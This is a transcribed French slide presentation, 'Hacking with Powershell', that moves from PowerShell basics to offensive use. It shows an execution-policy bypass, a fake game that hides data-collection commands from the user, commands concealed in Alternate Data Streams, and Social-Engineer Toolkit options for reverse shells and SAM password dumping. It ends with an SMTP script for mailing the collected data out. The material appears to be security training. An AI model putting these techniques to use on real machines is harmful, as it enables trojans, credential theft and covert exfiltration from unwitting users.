Hacking with Powershell

Transcription

1 Hacking with Powershell J.RIDET acissi

2 Présentation powershell Scripting orienté objet (objets.net), contrairement au Shell Syntaxe au format {verbe}-{nom} (ex: get-command) aisée à assimiler 4 types de commandes Cmdlets Scripts (fichiers.ps1) Programmes exécutables Système de pipeline identique ( ) au Shell Auto-complétion des commandes Possibilité d'interagir avec les applications Windows (ex: Active Directory) J.RIDET acissi

3 Présentation powershell Scripting orienté objet (objets.net), contrairement au Shell Syntaxe au format {verbe}-{nom} (ex: get-command) aisée à assimiler 4 types de commandes Cmdlets Scripts (fichiers.ps1) Programmes exécutables Système de pipeline identique ( ) au Shell Auto-complétion des commandes Possibilité d'interagir avec les applications Windows (ex: Active Directory) J.RIDET acissi

4 Notion d'objet IIII Dans les langages de programmation orientée objet (POO), les objets sont les éléments principaux avec lesquels on interagit Un objet peut être vu comme un conteneur regroupant à la fois des informations et des actions. Les informations nous renseignent sur les caractéristiques propres à un objet, Exemple le fichier : tutu.txt date de création taille Fichier : tutu.txt J.RIDET Classer les objets selon leurs caractéristiques propres, comme on range des fichiers dans des dossiers thématiques, on répertorie les objets ayant les mêmes caractéristiques dans une classe. acissi

5 Notion d'objet IIII Caractéristiques : Propriétés Taille Poids Matériaux Couleur

6 Notion d'objet IIII Actions : Poser Mélanger Écraser

7 Notion d'objet IIII Informations : nom, taille, type. Fichier : tutu.txt J.RIDET Actions : Renseignent sur les capacités de l'objet à effectuer des traitements. acissi

8 Manipuler un objet NomObjet.NomDeMembre Nom de l'objet. Information Ou Action

9 Utilisation du Powershell J.RIDET acissi

10 Utilisation de powershell IIII Nous pouvons lancer le powershell soit par l'invite de commande dédiée à powershell Le DOS puis appeler le powershell

11 Utilisation de powershell IIII Nous pouvons lancer le powershell soit par l'invite de commande dédiée à powershell Le DOS puis appeler le powershell

12 Utilisation de powershell IIII Nous pouvons lancer le powershell soit par l'invite de commande dédiée à powershell Le DOS puis appeler le powershell

13 Utilisation de powershell IIII Il faut un accès physique à la machine, La session doit être ouverte, L'action est visible de l'utilisateur.

14 Problème de Droits J.RIDET acissi

15 Problème de droit II La stratégie Restricted est la stratégie appliquée par défaut à l'environnement Powershell. Cette dernière ne permet pas l'exécution de scripts. Set-ExecutionPolicy permet de changer la stratégie d'exécution.

16 Problème de droit II Exemple :Si vous tapez PS > Set-ExecutionPolicy Bypass HKEY_LOCAL_Machine\SOFTWA RE\Microsoft\Powershell\1\ShellIds\ Microsoft.Powershell\ExecutionPoli cy

17 Outil de L'administrateur J.RIDET acissi

18 Outil d'administration IIII Utilisation de powershell pour les fichiers et dossiers windows. Nous allons faire la création d'un tableau pour accéder aux éléments de notre ordinateur. Création de la variable $jvar fichier1 dossier1 fichier2 fichier3 dossier Get-member : Obtient les propriétés et méthodes des objets. $jvar Get-member : nous donne les propriétés de la variable

19 Outil d'administration IIII Le powershell intérêt dans une infrastructure d'entreprise. - Création utilisateur, groupe, UO,. - En local ou à distance.

20 Outil d'administration IIII Nous allons maintenant modifier le mot de passe des utilisateurs domaine. Par défaut nous ne pouvons le faire, il faut ajouter l'applet de commande pour Active Directrory. Import-Module ac*

21 Outil d'administration IIII Il faut connaître les syntaxes et la notion d'objet, Taper des lignes de codes ^_^ On peut avoir plein d'informations sur le système et les fichiers, Permettre de faire de la programmation.

22 La programmation? J.RIDET acissi

23 Application IIIII Nous allons faire la création d'une application 'un jeu' qui cachera en réalité les commandes pour la récupération d'informations. Il faut tout d'abord faire la création du jeu, ici Jackpot mais toutes applications sont possibles (jeux, utilitaires.).

24 Application IIIII Nous pouvons lancer le powershell soit par l'invite de commande dédiée à powershell Le DOS puis appeler le powershell Shell "powershell.exe" Shell "cscript.exe c:\monfichier'\monscript.ps1" Shell "cscript.exe c:\monfichier'\monscript.ps1",vbhide En te cachant de l'utilisateur

25 Application IIIII Nous pouvons faire la récupération des informations du système Exemple : Récupération des paramètres de la carte réseau. (création du fichier pour récupération)

26 Application IIIII

27 Application IIIII Il faut connaître le langage de programmation, Taper des lignes de codes ^_^ Il faut que l'utilisateur installe l'application, Il faut avoir les droits sur la machine pour certaines lignes. Le hacker doit pourvoir récupérer les informations sur la machine.

28 Détection de Flux cachés J.RIDET acissi

29 Alternate Data Stream IIIIII ADS permet d'associer plus d'un flux de données à un nom de fichier en jouant sur le format de ce dernier : "Nom_De_Fichier:Nom_De_Flux_Particulier" (Ex : Fic.txt:Zone.Identifier).

30 Alternate Data Stream IIIIII Les ADS ont été créé dans le système Windows pour permettre une compatibilité avec le système Macintosh (HFS). Macintosh c'est le résultat de 2 composantes Data fork et Ressource Fork Ressources utilisées par une application (interface graphique, traduction...) Code de l'application Ajourd'hui les ADS permettent de fournir des informations exemple sur les scripts powershell. J.RIDET acissi

31 Alternate Data Stream IIIIII L'idée ici est de faire en sorte qu'un script récupéré ou envoyé d'internet soit exécuté sur la machine car par défaut il y a des restrictions. Un script récupéré d'internet avec internet explorer se verra attribuer un alternate stream spécifiant sa provenance. Value Setting My Computer 1 Local Intranet Zone 2 Trusted sites Zone 3 Internet Zone 4 Restricted Sites Zone

32 Alternate Data Stream IIIIII Les informations sur la provenance du script est stocké dans zone.identifier qui prend une valeur selon la provenance du script ainsi que la sécurité d'internet explorer choisie. Si l'on ajout des sites et serveurs de confiances cela va influer sur le ZoneID.

33 Alternate Data Stream IIIIII

34 Alternate Data Stream IIIIII Nous allons cacher une des commandes à exécuter dans un fichier! - Lister les processus en cours d'utilisation de la machine - Remplir le fichier file2 avec les informations récupérées

35 Backdoor & SAM In Powershell J.RIDET acissi

36 Backdoor & SAM IIIII # cd /usr/share/set # ls # setoolkit J.RIDET acissi

37 Backdoor & SAM IIIII J.RIDET acissi

38 Backdoor & SAM IIIII J.RIDET acissi

39 Backdoor & SAM IIIII 1. Powershell Shellcode Injector 2. Reverse Shell 3. Bind 4. DUMP SAM J.RIDET acissi

40 Backdoor & SAM IIIII Set session 1 Set script /root/desktop/powershell/myscript.ps1 exploit J.RIDET acissi

41 Récupération Des informations J.RIDET acissi

42 Envoi des informations II $From = "fromaddress@domain.com" $To = "toaddress@domain.com" $SMTPServer = "smtp.gmail.com" $SMTPPort = "587" $Username = "username@gmail.com" $Password = "gmailpassword" $subject = " Subject" $body = "Insert body text here" $smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort); $smtp.enablessl = $true $smtp.credentials = New-Object System.Net.NetworkCredential($Username, $Password); $smtp.send($from, J.RIDET $To, $subject,acissi $body);

43 Envoi des informations II Depuis la version 3 de powershell la commande send-mailmessage permet une utilisation plus simple d'envoi de mail.

44 QUESTION?